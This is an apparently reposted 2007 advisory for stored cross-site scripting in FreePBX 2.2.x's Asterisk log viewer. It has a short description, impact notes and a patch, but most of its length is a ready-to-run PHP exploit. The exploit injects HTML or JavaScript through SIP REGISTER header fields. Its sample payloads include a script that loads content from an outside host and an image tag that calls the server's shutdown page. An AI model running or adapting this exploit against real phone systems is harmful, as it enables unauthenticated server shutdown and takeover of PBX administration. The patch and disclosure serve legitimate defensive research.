XSS in freePBX 2.2.x portal's Asterisk Log tool

Advisory Content :

#!/usr/bin/php
<?php
/*

| | | | | _)
|/ | _ __| __ | | | / _` | __ __| | __ _` |
| | __/ | | | | | | | ` < ( | | | | | | | ( |
_| _|___|__|_| |_|__, |_| _/_\__,_|_| _|__|_|_| _|__,_|
____/
___ ___| / Methylxantina 256mg
) | __ _ __ `__ _` | http://xenomuta.blogspot.com
__/ ) | ( | | | | ( |
_____|____/ ___/ _| _| _|__, | freePBX 2.2.x full-log XSS PoC
|___/ by XenoMuta
<xenomuta at phreaker.net>

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=
ISSUE:
SIP protocol's fields such as From, To, Call-ID, User-Agent (and many
others)
can carry html tags, wich are shown unfiltered by the Asterisk Log
File tools
located at http://<freepbx root>/admin/modules/logfiles/asterisk-full-
log.php
resulting in malicios HMTL or Javascript code injection.

IMPACT:
Server shutdown/restart, PBX control and Possible remote code
execution through
amportal options. Just about anything you can code in Javascript.
* Note that the amportal's admin will only see the last 2000 lines of
full log.
for wich an attaker might call the admin asking for support at the
time of
exploitation. This doesn't require authentication or valid
credentials >:)

WARNING:
* Do this on your own risk. Intended for research and educational
purposes ONLY.
* Neither the author or Methylxantine 256mg are accountable for your
actions.
* Running this will taint your log file. Make sure you clean it after
a test.

FIX:
Here is a way to fix the problem.

[root at asterisk1 ~]# cd /var/www/html/admin/modules/logfiles
[root at asterisk1 logfiles]# cat<<EOF|patch
*** asterisk-full-log.php 2007-04-18 12:51:10.000000000 -0400
--- asterisk-full-log.php.fixed 2007-04-18 12:51:18.000000000 -0400
***************
*** 10,16 ****
<hr>
 
<?
! echo system ('tail --line=2000 /var/log/asterisk/full | sed -e "s/$/
 /"');
?>

</body>
--- 10,16 ----
<hr>
 
<?
! echo system ('tail --line=2000 /var/log/asterisk/full | sed -e "s/</
</;s/>/>/" | sed -e "s/$/ /"');
?>

</body>
EOF

PAYOLA AND GREETS:
:)
gr33tz to:
- God, for being so faithfull.
- Lili, por la paciencia nocturna y por tu amor
- the Asterisk team and the freePBX team, for such an EXCELENT product
- EMRA, por la fragancia
- Leo, te di Luz

*/

print "x1bcnx1b[1mx1b[30mx1b[47m";
print
"
n";
print
"
r";
print " \ | | | | |
_) n";
print
"
r";
print " |\/ | _ \ __| __ \ | | |\ \ / _` | __ \ __|
| __ \ _` |n";
print
"
r";
print " | | __/ | | | | | | | ` < ( | | | | | |
| ( |n";
print
"
r";
print " _| _|\___|\__|_| |_|\__, |_| _/\_\\__,_|_| _|\__|
_|_| _|\__,_|n";
print
"
r";
print "
____/ n";
print
"
r";
print " ___ \ ___| / Methylxantina 256mgn";
print
"
r";
print " ) | __ \ _ \ __ `__ \ _` | http://
xenomuta.blogspot.comn";
print
"
r";
print " __/ ) | ( | | | | ( | n";
print
"
r";
print " _____|____/ \___/ _| _| _|\__, | freePBX 2.2.x full-
log XSS PoCn";
print
"
r";
print " |___/ by XenoMuta
<xenomuta at phreaker.net>n";
print
"
nx1b[0m";

//COMMENT ME TO PROCEED
//die("x1b[31mWe urge you to read the code first. Comment this line
to proceed.nx1b[0m");

if($argc<2) die("nUsage: $argv[0] <sip proxy> [custom payload]nn");
$sipp=$argv[1];

if($argc<3){
//SOME SAMPLE PAYLOADS FOR YOUR PLEASURE

//Execute external Payload (this one only possible with Call-id payload)
$payload="<script>var body=document.getElementsByTagName('body');var
fly= new Image(), ofly=new Image(), ifly=new Image();ifly.src='http://
xenmut.100webspace.net/fly2.png';ofly.src='http://xenmut.
100webspace.net/fly1.png';ofly.onload=eval('var mv=setInterval('move
()',10);');fly.setAttribute
('id','fly');fly.style.position='absolute;';fly.style.left='300';fly.sty
le.top='100';body[0].appendChild(fly);var
ang,s=2,xx,yy,cal,pi=3.1415926535,ala=true;function calma()
{s=2;clearInterval(cal);}function move() {var x,y;x=(s*(Math.sin
(ang)));y=(s*(Math.cos(ang)));ala=!ala;if(ala) fly.src=ifly.src;else
fly.src=ofly.src;if(Math.round(100*Math.random())>96)ang+=ala?5:-5;if
((xx+x>1024)||(xx+x<0)||(yy+y>800)||(yy+y<0)){ang=Math.round
(360*Math.random());}else{xx+=x;yy+=y;}fly.style.left=xx
+'px';fly.style.top=yy+'px';}function main(){ang=Math.round
(360*Math.random());xx=620;yy=400;fly.onmouseover=function()
{s=10;ang=Math.round(360*Math.random());clearInterval
(cal);cal=setInterval('calma()',500);}}main();</script>";

//Space Invader (this one only possible with Call-id payload)
//$payload="<img width=900 src=http://www.i-marco.nl/weblog/images/
SpaceInvader.jpg>";

// Server shutdown Payload
/*
.oOOOo. Oo O o oOoOOoOOo ooOoOOo .oOOOo. o. O
.O o o O o O o O .O o. Oo o
o O o O o o o O o O O O
o oOooOoOo o o O O o O O o o
o o O o O o o O o O o O
O O o O O O O o O o O O
`o .o o O `o Oo O O `o O' o Oo
`OoooO' O. O `OoooO'O o' ooOOoOo `OoooO' O `o
*/
//$payload='<img src="../sysstatus/shutdown.php">';
} else {
$payload=$argv[2];
}

$ext=1234;
$agent="SJphone v1.0";
$udp=fsockopen("udp://$sipp",5060);
$seq=rand(10000,99900);
$packet = "REGISTER sip:$sipp SIP/2.0n".
"Via: SIP/2.0/UDP $sipp:5060;rport;branch=z9hG4bK12345n".
"From: $payloadn".
"To: $payloadn".
"Contact: "$ext" <sip:$ext@$sipp:5060>n".
"Call-ID: 12345@$sippn".
"CSeq: 12345 REGISTERn".
"Expires: 1800n".
"Max-Forwards: 70n".
"User-Agent: $agentn".
"Content-Length: 0nn";
fputs($udp,$packet);
fclose($udp);
die("nPAYLOAD SENT:n$payloadn");

?>
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XSS in freePBX 2.2.x portal's Asterisk Log tool